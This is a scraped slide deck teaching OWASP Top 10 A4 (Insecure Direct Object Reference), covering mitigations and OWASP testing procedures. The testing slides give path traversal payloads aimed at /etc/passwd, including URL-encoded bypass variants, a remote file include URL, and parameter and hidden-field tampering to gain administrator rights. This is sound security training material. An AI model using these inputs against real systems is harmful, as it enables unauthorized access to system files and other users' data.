SlideShare a Scribd company logo
1 of 32
Download to read offline
OWASP Top 10
A4 – Insecure Direct Object Reference
Narudom Roongsiriwong
CISSP
WhoAmI
● Lazy Blogger
– Japan, Security, FOSS, Politics, Christian
– http://narudomr.blogspot.com
● Information Security since 1995
● Web Application Development since 1998
● Head of IT Security, Kiatnakin Bank PLC (KKP)
● Contact: narudom.roongsiriwong@owasp.org
What Is It?
• Occurs when a developer exposes a reference
to an internal implementation object, such as
a file, directory, or database key.
• Without an access control check or other
protection, attackers can manipulate these
references to access unauthorized data.
Impact = Moderate
●
Such flaws can compromise all the data that
can be referenced by the parameter.
●
Unless object references are unpredictable, it’s
easy for an attacker to access all available data
of that type.
●
Consider the business value of the exposed
data as well as the business impact of public
exposure of the vulnerability.
Why Care About Insecure Direct Object
References?
●
Although this vulnerability is easy to exploit and easy
to detect, it is still usually ignored by developers
●
June 2000, Australian Treasury GST(Goods and
Services Tax) website was hacked and private
information from 17,000 businesses breached, just by
a student typing in an URL
●
February 2014, Insecure Direct Object Reference allow
attacker to delete all the posted thread and comments
on Yahoo's Suggestion Board website → 1.5 million
records
Insecure Direct Object Web Page Query
Not Only Web Page but XML Data Island
Client Account ID
Account ID
Not Only Web Page but XML Data Island
Not Only Web Page but XML Data Island
Not Only Web Page but XML Data Island
Misunderstanding on Insecure Direct
Object Reference
● We use HTTPS nobody can change my POST parameters
– HTTPS protects data in transportation not the end point, attackers
can manipulate data using tools like OWASP Zap Proxy, Burp Suite
or even Firebug plug-in for Firefox
● We use AJAX to exchange data browser's developer mode
cannot see or change data
– Proxy tools like OWASP Zap Proxy and Burp Suites are able to
intercept HTTP(S) protocol including AJAX communication
● Our mobile application with HTTPS cannot be intercepted,
nobody can change object references
– No, attackers can run your app on rooted or jail-broken devices or
in emulator or connect to access point with proxy tools as named
above
Misunderstanding on
Insecure Direct Object Reference
● We can encrypt requests before POSTing
– Be sure you use encryption not encoding like base64
– If you use symmetric encryption, the key will be on
client side somewhere.
● Web application, the encryption key must be
somewhere in your scripts.
● Mobile application, attackers can reverse engineering
you app and find the key
– If you use asymmetric encryption, it is safe, however
your server processing will increase significantly.
Mitigations
● Do not expose internal keys or identifiers
– Keep user ID or key in a session variable
– Use a temporary mapping value (See next slide)
● Use object references that are challenging to guess
– GUID/UUID
– Random Number
● Perform server-side authorization checks before object
accesses (strongly recommend)
– Verify the parameter value is properly formatted
– Verify the user is allowed to access the target object
– Verify the requested mode of access is allowed to the target object
(e.g., read, write, delete)
Temporary Mapping Value
Account Label MapID
112536 Deposit 1
115696 Current 2
Temporary
In session memory
How Do You Test Applications?
• Testing for insecure direct object references can be hard to
automate
– Automated scanners do not know what users should have access to
what data
• Inspect parameters being passed to applications
• Manipulate parameters to see if sensitive information is
disclosed
• Look at pages whose only purpose is to display information
about a single object
– Documents
– Accounts
– Statements
OWASP Testing Guide for A4
● Authorization Testing
– Testing Directory
traversal/file include
(OTG-AUTHZ-001)
– Testing for Bypassing
Authorization Schema
(OTG-AUTHZ-002)
– Testing for Privilege
escalation (OTG-AUTHZ-
003)
– Testing for Insecure
Direct Object References
(OTG-AUTHZ-004)
Testing Directory traversal/file include
(OTG-AUTHZ-001): Enumeration
● Are there request parameters which could be used for file-related
operations?
● Are there unusual file extensions?
● Are there interesting variable names?
– http://example.com/index.php?file=content
– http://example.com/main.cgi?home=index.htm
– http://example.com/getUserProfile.jsp?item=ikki.html
● Is it possible to identify cookies used by the web application for
the dynamic generation of pages or templates?
Cookie: ID=d9ccd3f4f9f18cc1:T-
M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:-
TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Techniques
● Insert the malicious string “../../../../” to include the
password hash file for a Linux/Unix or boot.ini for Windows
system
– http://example.com/getUserProfile.jsp?
item=../../../../etc/passwd
● For the cookies example:
– Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
● Try to include files and scripts located on external website.
– http://example.com/index.php?
file=http://www.owasp.org/malicioustxt
● Try to show the source code of a CGI component
– http://example.com/main.cgi?home=main.cgi
Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Techniques
If “../” does not work, try character encoding such as URL
encoding, double URL encoding, Unicode/UTF-8 encoding
Encoding Test with Represent
URL %2e%2e%2f ../
%2e%2e/ ../
..%2f ../
%2e%2e%5c ..
%2e%2e ..
..%5c ..
Double URL %252e%252e%255c ..
..%255c ..
Unicode/UTF-8 ..%c0%af ../
..%c1%9c ..
Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Tools
● DotDotPwn - The Directory Traversal Fuzzer -
http://dotdotpwn.sectester.net
● Path Traversal Fuzz Strings (from WFuzz Tool) -
http://code.google.com/p/wfuzz/source/brows
e/trunk/wordlist/Injections/Traversal.txt
● Web Proxy (Burp Suite, Paros,
WebScarab,OWASP: Zed Attack Proxy (ZAP))
● Encoding/Decoding tools
Testing Other Authorization
(OTG-AUTHZ-002 to 004): Prerequisite
● Needs to map out all locations in the application where
user input is used to reference objects directly.
– A database row
– A file
– Application pages
● Having at least two (often more) users to cover different
owned objects and functions
– Users each having access to different objects (such as
purchase information, private messages, etc.)
– Users with different privileges (for example administrator
users) to see whether there are direct references to
application functionality
Testing for Bypassing Authorization
Schema (OTG-AUTHZ-002): Summary
● Focus on verifying how the authorization schema has
been implemented for each role or privilege to get
access to reserved functions and resources.
● States to verify
– User is not authenticated
– After the log-out
– User that holds a different role or privilege
● Track all the administrative functions when:
– Logging as a user with standard privileges
– Logging as a user with a different role and for whom that
action should be denied
Testing for Bypassing Authorization
Schema (OTG-AUTHZ-002): How to test
● Testing for access to administrative functions
– Example, Try to post to administrator's “adduser”
when logging on as non-administrative roles
● Testing for access to resources assigned to a
different role
– Example, analyze an application that uses a shared
directory
Testing for Privilege escalation (OTG-
AUTHZ-003): Summary
● Verify that it is not possible for a user to modify his or her
privileges or roles inside the application
● Privilege escalation occurs when a user gets access to more
resources or functionality than they are normally allowed
● The degree of escalation depends on what privileges the
attacker is authorized to possess, and what privileges can be
obtained in a successful exploit
● Vertical escalation – access resources granted to more
privileged accounts (e.g., acquiring administrative privileges
for the application)
● Horizontal escalation – access resources granted to a similarly
configured account (e.g., in an online banking application,
accessing information related to a different user)
Testing for Privilege escalation (OTG-
AUTHZ-003): How to test
POST /user/viewOrder.jsp HTTP/1.1
Host: www.example.com
...
groupID=grp001&orderID=0001
This POST allows the user that
belongs to grp001 to access order
#0001, logon with a user that does
not belong to grp001 then intercept
the post & try to modify the
parameters to gain access
privileged data
Testing for Privilege escalation (OTG-
AUTHZ-003): How to test
HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp;
path=/; domain=www.example.com
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz;
path=/; domain= www.example.com
Cache-Control: no-cache
Pragma: No-cache
Content-length: 247
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
<form name="autoriz" method="POST" action =
"visual.jsp">
<input type="hidden" name="profile"
value="SysAdmin">
<body onload="document.forms.autoriz.submit()">
</td>
</tr>
This HTML shows a
hidden field to the
user after a
successful
administrative user
authentication.
Logon with another
non-administrative
user and modify
the value of the
variable "profile" to
"SysAdmin"? Is it
possible to become
administrator?
Testing for Insecure Direct Object References
(OTG-AUTHZ-004): Scenarios
● Retrieve a database record
– http://foo.bar/somepage?invoice=12345
● Perform an operation in the application
– http://foo.bar/changepassword?user=someuser
● Retrieve a file system resource
– http://foo.bar/showImage?img=img00011
● Access application functionality
– http://foo.bar/accessPage?menuitem=12
Testing for Insecure Direct Object References
(OTG-AUTHZ-004): Where to Look for
● URL Query String
● Cookie (HTTP Header)
● Request Body (Post Method)
– Query String
– XML SOAP Interface
– JSON Document
● Check Web URL, Web Forms, AJAX
Communication, Mobile HTTP Request and
Web Service
Common Tools for Authorization Testing
● Web Proxy (Burp Suite, Paros,
WebScarab,OWASP: Zed Attack Proxy (ZAP))
Recap
● Insecure direct object references occur when
an application exposes internal references to
objects via parameters passed to the
application
● To guard against:
– Do not expose internal keys or identifiers for
objects
– Use object references that are challenging to guess
– Perform server-side authorization checks before
object accesses (strongly recommend)
References
• OWASP
– OWASP Top 10 2010-A4-Insecure Direct Object References
– ESAPI Access Reference Map
– ESAPI Access Control API (See isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFunction())
• External
– CWE Entry 639 on Insecure Direct Object Reference
– CWE Entry 22 on Path Traversal (an example of a Direct
Object Reference attack)
OWASP Top 10 A4 – Insecure Direct Object Reference

More Related Content

What's hot

Introduction to burp suite
Introduction to burp suiteIntroduction to burp suite
Introduction to burp suiteUtkarsh Bhargava
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016bugcrowd
 
Thick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdfThick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdfSouvikRoy114738
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
 
Pentesting GraphQL Applications
Pentesting GraphQL ApplicationsPentesting GraphQL Applications
Pentesting GraphQL ApplicationsNeelu Tripathy
 
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...Lenur Dzhemiliev
 
Pentesting Using Burp Suite
Pentesting Using Burp SuitePentesting Using Burp Suite
Pentesting Using Burp Suitejasonhaddix
 
Ethical Hacking & Penetration Testing
Ethical Hacking & Penetration TestingEthical Hacking & Penetration Testing
Ethical Hacking & Penetration Testingecmee
 
CSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCCSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCSuvash Shah
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Ritesh Gupta
 

What's hot (20)

API Security Fundamentals
API Security FundamentalsAPI Security Fundamentals
API Security Fundamentals
 
Introduction to burp suite
Introduction to burp suiteIntroduction to burp suite
Introduction to burp suite
 
Hack like a pro with burp suite - nullhyd
Hack like a pro with burp suite - nullhydHack like a pro with burp suite - nullhyd
Hack like a pro with burp suite - nullhyd
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
 
Thick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdfThick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdf
 
How to identify and prevent SQL injection
How to identify and prevent SQL injection  How to identify and prevent SQL injection
How to identify and prevent SQL injection
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 
Pentesting GraphQL Applications
Pentesting GraphQL ApplicationsPentesting GraphQL Applications
Pentesting GraphQL Applications
 
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...
 
Pentesting Using Burp Suite
Pentesting Using Burp SuitePentesting Using Burp Suite
Pentesting Using Burp Suite
 
DoS or DDoS attack
DoS or DDoS attackDoS or DDoS attack
DoS or DDoS attack
 
Burp Suite Starter
Burp Suite StarterBurp Suite Starter
Burp Suite Starter
 
BeEF
BeEFBeEF
BeEF
 
Web Application Security 101
Web Application Security 101Web Application Security 101
Web Application Security 101
 
Ethical Hacking & Penetration Testing
Ethical Hacking & Penetration TestingEthical Hacking & Penetration Testing
Ethical Hacking & Penetration Testing
 
CSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCCSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVC
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Bug Bounty for - Beginners
Bug Bounty for - BeginnersBug Bounty for - Beginners
Bug Bounty for - Beginners
 

Viewers also liked

A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013   A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013 Sorina Chirilă
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
 
InsecureDirectObjectReferences
InsecureDirectObjectReferencesInsecureDirectObjectReferences
InsecureDirectObjectReferencesmacanazon
 
A5: Security Misconfiguration
A5: Security Misconfiguration A5: Security Misconfiguration
A5: Security Misconfiguration Tariq Islam
 
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Pichaya Morimoto
 
Business continuity & disaster recovery planning (BCP & DRP)
Business continuity & disaster recovery planning (BCP & DRP)Business continuity & disaster recovery planning (BCP & DRP)
Business continuity & disaster recovery planning (BCP & DRP)Narudom Roongsiriwong, CISSP
 
OWASP Enterprise Security API
OWASP Enterprise Security APIOWASP Enterprise Security API
OWASP Enterprise Security APIConFoo
 

Viewers also liked (20)

Secure Software Development Adoption Strategy
Secure Software Development Adoption StrategySecure Software Development Adoption Strategy
Secure Software Development Adoption Strategy
 
Securing the Internet from Cyber Criminals
Securing the Internet from Cyber CriminalsSecuring the Internet from Cyber Criminals
Securing the Internet from Cyber Criminals
 
Secure Code Review 101
Secure Code Review 101Secure Code Review 101
Secure Code Review 101
 
OWASP Top 10 Proactive Control 2016 (C5-C10)
OWASP Top 10 Proactive Control 2016 (C5-C10)OWASP Top 10 Proactive Control 2016 (C5-C10)
OWASP Top 10 Proactive Control 2016 (C5-C10)
 
Secure PHP Coding
Secure PHP CodingSecure PHP Coding
Secure PHP Coding
 
Unlock Security Insight from Machine Data
Unlock Security Insight from Machine DataUnlock Security Insight from Machine Data
Unlock Security Insight from Machine Data
 
Application Security: Last Line of Defense
Application Security: Last Line of DefenseApplication Security: Last Line of Defense
Application Security: Last Line of Defense
 
Payment Card System Overview
Payment Card System OverviewPayment Card System Overview
Payment Card System Overview
 
A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013   A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013
 
AnyID: Security Point of View
AnyID: Security Point of ViewAnyID: Security Point of View
AnyID: Security Point of View
 
Risk Management in Project Management
Risk Management in Project ManagementRisk Management in Project Management
Risk Management in Project Management
 
AnyID and Privacy
AnyID and PrivacyAnyID and Privacy
AnyID and Privacy
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
InsecureDirectObjectReferences
InsecureDirectObjectReferencesInsecureDirectObjectReferences
InsecureDirectObjectReferences
 
A5: Security Misconfiguration
A5: Security Misconfiguration A5: Security Misconfiguration
A5: Security Misconfiguration
 
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
 
Database Firewall with Snort
Database Firewall with SnortDatabase Firewall with Snort
Database Firewall with Snort
 
Business continuity & disaster recovery planning (BCP & DRP)
Business continuity & disaster recovery planning (BCP & DRP)Business continuity & disaster recovery planning (BCP & DRP)
Business continuity & disaster recovery planning (BCP & DRP)
 
owaspa4
owaspa4owaspa4
owaspa4
 
OWASP Enterprise Security API
OWASP Enterprise Security APIOWASP Enterprise Security API
OWASP Enterprise Security API
 

Similar to OWASP Top 10 A4 – Insecure Direct Object Reference

CISSP Week 13
CISSP Week 13CISSP Week 13
CISSP Week 13jemtallon
 
Secure Android Development
Secure Android DevelopmentSecure Android Development
Secure Android DevelopmentShaul Rosenzwieg
 
Annual OktCyberfest 2019
Annual OktCyberfest 2019Annual OktCyberfest 2019
Annual OktCyberfest 2019Fahad Al-Hasan
 
Authorisation: Concepts and Implementation
Authorisation: Concepts and ImplementationAuthorisation: Concepts and Implementation
Authorisation: Concepts and ImplementationOmar Bashir
 
Application Security - Your Success Depends on it
Application Security - Your Success Depends on itApplication Security - Your Success Depends on it
Application Security - Your Success Depends on itWSO2
 
Lecture32-Web-based-testing-II.pptx
Lecture32-Web-based-testing-II.pptxLecture32-Web-based-testing-II.pptx
Lecture32-Web-based-testing-II.pptxBalkrishanpatidar
 
OWASP OTG-configuration (OWASP Thailand chapter november 2015)
OWASP OTG-configuration (OWASP Thailand chapter november 2015)OWASP OTG-configuration (OWASP Thailand chapter november 2015)
OWASP OTG-configuration (OWASP Thailand chapter november 2015)Noppadol Songsakaew
 
CohenNancyPresentation.ppt
CohenNancyPresentation.pptCohenNancyPresentation.ppt
CohenNancyPresentation.pptmypc72
 
Federico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdfFederico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdfQA or the Highway
 
[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answersOWASP
 
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16AppDynamics
 
How to Test for The OWASP Top Ten
 How to Test for The OWASP Top Ten How to Test for The OWASP Top Ten
How to Test for The OWASP Top TenSecurity Innovation
 
Security Best Practices for Bot Builders
Security Best Practices for Bot BuildersSecurity Best Practices for Bot Builders
Security Best Practices for Bot BuildersMax Feldman
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
Platform Security IRL: Busting Buzzwords & Building Better
Platform Security IRL:  Busting Buzzwords & Building BetterPlatform Security IRL:  Busting Buzzwords & Building Better
Platform Security IRL: Busting Buzzwords & Building BetterEqual Experts
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 

Similar to OWASP Top 10 A4 – Insecure Direct Object Reference (20)

CISSP Week 13
CISSP Week 13CISSP Week 13
CISSP Week 13
 
Secure Android Development
Secure Android DevelopmentSecure Android Development
Secure Android Development
 
Annual OktCyberfest 2019
Annual OktCyberfest 2019Annual OktCyberfest 2019
Annual OktCyberfest 2019
 
Authorisation: Concepts and Implementation
Authorisation: Concepts and ImplementationAuthorisation: Concepts and Implementation
Authorisation: Concepts and Implementation
 
Application Security - Your Success Depends on it
Application Security - Your Success Depends on itApplication Security - Your Success Depends on it
Application Security - Your Success Depends on it
 
Lecture32-Web-based-testing-II.pptx
Lecture32-Web-based-testing-II.pptxLecture32-Web-based-testing-II.pptx
Lecture32-Web-based-testing-II.pptx
 
OWASP OTG-configuration (OWASP Thailand chapter november 2015)
OWASP OTG-configuration (OWASP Thailand chapter november 2015)OWASP OTG-configuration (OWASP Thailand chapter november 2015)
OWASP OTG-configuration (OWASP Thailand chapter november 2015)
 
CohenNancyPresentation.ppt
CohenNancyPresentation.pptCohenNancyPresentation.ppt
CohenNancyPresentation.ppt
 
OWASP Top Ten in Practice
OWASP Top Ten in PracticeOWASP Top Ten in Practice
OWASP Top Ten in Practice
 
Security Design Principles.ppt
 Security Design Principles.ppt Security Design Principles.ppt
Security Design Principles.ppt
 
Federico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdfFederico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdf
 
Open Science Grid security-atlas-t2 Bob Cowles
Open Science Grid security-atlas-t2 Bob CowlesOpen Science Grid security-atlas-t2 Bob Cowles
Open Science Grid security-atlas-t2 Bob Cowles
 
[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers
 
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
 
How to Test for The OWASP Top Ten
 How to Test for The OWASP Top Ten How to Test for The OWASP Top Ten
How to Test for The OWASP Top Ten
 
Security Best Practices for Bot Builders
Security Best Practices for Bot BuildersSecurity Best Practices for Bot Builders
Security Best Practices for Bot Builders
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Platform Security IRL: Busting Buzzwords & Building Better
Platform Security IRL:  Busting Buzzwords & Building BetterPlatform Security IRL:  Busting Buzzwords & Building Better
Platform Security IRL: Busting Buzzwords & Building Better
 
15 worker directories
15   worker directories15   worker directories
15 worker directories
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 

More from Narudom Roongsiriwong, CISSP

How Good Security Architecture Saves Corporate Workers from COVID-19
How Good Security Architecture Saves Corporate Workers from COVID-19How Good Security Architecture Saves Corporate Workers from COVID-19
How Good Security Architecture Saves Corporate Workers from COVID-19Narudom Roongsiriwong, CISSP
 
Embedded System Security: Learning from Banking and Payment Industry
Embedded System Security: Learning from Banking and Payment IndustryEmbedded System Security: Learning from Banking and Payment Industry
Embedded System Security: Learning from Banking and Payment IndustryNarudom Roongsiriwong, CISSP
 
Application Security Verification Standard Project
Application Security Verification Standard ProjectApplication Security Verification Standard Project
Application Security Verification Standard ProjectNarudom Roongsiriwong, CISSP
 
Top 10 Bad Coding Practices Lead to Security Problems
Top 10 Bad Coding Practices Lead to Security ProblemsTop 10 Bad Coding Practices Lead to Security Problems
Top 10 Bad Coding Practices Lead to Security ProblemsNarudom Roongsiriwong, CISSP
 

More from Narudom Roongsiriwong, CISSP (16)

Biometric Authentication.pdf
Biometric Authentication.pdfBiometric Authentication.pdf
Biometric Authentication.pdf
 
Security Shift Leftmost - Secure Architecture.pdf
Security Shift Leftmost - Secure Architecture.pdfSecurity Shift Leftmost - Secure Architecture.pdf
Security Shift Leftmost - Secure Architecture.pdf
 
Secure Design: Threat Modeling
Secure Design: Threat ModelingSecure Design: Threat Modeling
Secure Design: Threat Modeling
 
Security Patterns for Software Development
Security Patterns for Software DevelopmentSecurity Patterns for Software Development
Security Patterns for Software Development
 
How Good Security Architecture Saves Corporate Workers from COVID-19
How Good Security Architecture Saves Corporate Workers from COVID-19How Good Security Architecture Saves Corporate Workers from COVID-19
How Good Security Architecture Saves Corporate Workers from COVID-19
 
Secure Software Design for Data Privacy
Secure Software Design for Data PrivacySecure Software Design for Data Privacy
Secure Software Design for Data Privacy
 
Blockchain and Cryptocurrency for Dummies
Blockchain and Cryptocurrency for DummiesBlockchain and Cryptocurrency for Dummies
Blockchain and Cryptocurrency for Dummies
 
DevSecOps 101
DevSecOps 101DevSecOps 101
DevSecOps 101
 
National Digital ID Platform Technical Forum
National Digital ID Platform Technical ForumNational Digital ID Platform Technical Forum
National Digital ID Platform Technical Forum
 
IoT Security
IoT SecurityIoT Security
IoT Security
 
Embedded System Security: Learning from Banking and Payment Industry
Embedded System Security: Learning from Banking and Payment IndustryEmbedded System Security: Learning from Banking and Payment Industry
Embedded System Security: Learning from Banking and Payment Industry
 
Secure Your Encryption with HSM
Secure Your Encryption with HSMSecure Your Encryption with HSM
Secure Your Encryption with HSM
 
Application Security Verification Standard Project
Application Security Verification Standard ProjectApplication Security Verification Standard Project
Application Security Verification Standard Project
 
Coding Security: Code Mania 101
Coding Security: Code Mania 101Coding Security: Code Mania 101
Coding Security: Code Mania 101
 
Top 10 Bad Coding Practices Lead to Security Problems
Top 10 Bad Coding Practices Lead to Security ProblemsTop 10 Bad Coding Practices Lead to Security Problems
Top 10 Bad Coding Practices Lead to Security Problems
 
CarbonCredit-V4
CarbonCredit-V4CarbonCredit-V4
CarbonCredit-V4
 

Recently uploaded

Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Zilliz
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...Zilliz
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...DianaGray10
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyKhushali Kathiriya
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxRustici Software
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businesspanagenda
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MIND CTI
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingEdi Saputra
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobeapidays
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
A Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source MilvusA Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source MilvusZilliz
 
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...apidays
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024The Digital Insurer
 
